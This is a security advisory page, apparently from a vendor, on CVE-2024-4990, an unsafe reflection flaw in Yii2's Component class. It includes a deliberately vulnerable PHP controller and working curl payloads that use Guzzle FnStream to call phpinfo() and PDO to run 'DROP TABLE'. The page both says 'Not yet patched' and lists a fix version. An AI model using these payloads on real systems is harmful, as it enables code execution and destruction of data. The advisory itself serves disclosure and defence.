CVE-2024-4990 is a high-severity (CVSS 8.1) CWE-470 vulnerability in yiisoft/yii2. EPSS puts its 30-day exploitation probability at 80.2% (100th percentile). A fix is available for yiisoft/yii2 — see the affected versions and patch details below.
Unsafe Reflection in base Component class in yiisoft/yii2
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-4990.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-4990 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE sits: patch-first territory.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yiisoft/yii2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.
Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.
Impact
With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables
Patches
Not yet patched.
Workarounds
No Work around available
References
Reported Here
in case the link is dead, here is the full description
Description
Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.
Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.
Depending on the installed dependencies various kind of attacks are possible.
Proof of Concept
A PoC application was created using composer create-project, as specified in the getting started.
Yii JSON parser was enabled in the configuration:
'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]
A vulnerable controller was added:
<?php
namespace app\controllers;
use yii\base\Component;
use yii\web\Controller;
class ExploitableController extends Controller
{
public function beforeAction($action): bool
{
// Needed only to simplify the PoC
$this->enableCsrfValidation = false;
return parent::beforeAction($action);
}
public function actionVulnerable(): string
{
$fields = $this->request->post();
$myComponent = new Component();
foreach ($fields as $key => $value) {
$myComponent->$key = $value;
}
return "";
}
}
Executing phpinfo()
Following command stores the content of phpinfo() inside info.html:
curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html
It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.
Executing arbitrary MySQL queries (blind execution)
If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:
curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable
Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.
Impact
It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).
The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.
Occurrences
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yiisoft/yii2 | all versions | 2.0.49.4composer require yiisoft/yii2:^2.0.49.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yiisoft/yii2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update yiisoft/yii2 to 2.0.49.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-4990 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-4990 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-4990. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-4990 in your dependencies?
O3 Security finds CVE-2024-4990 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.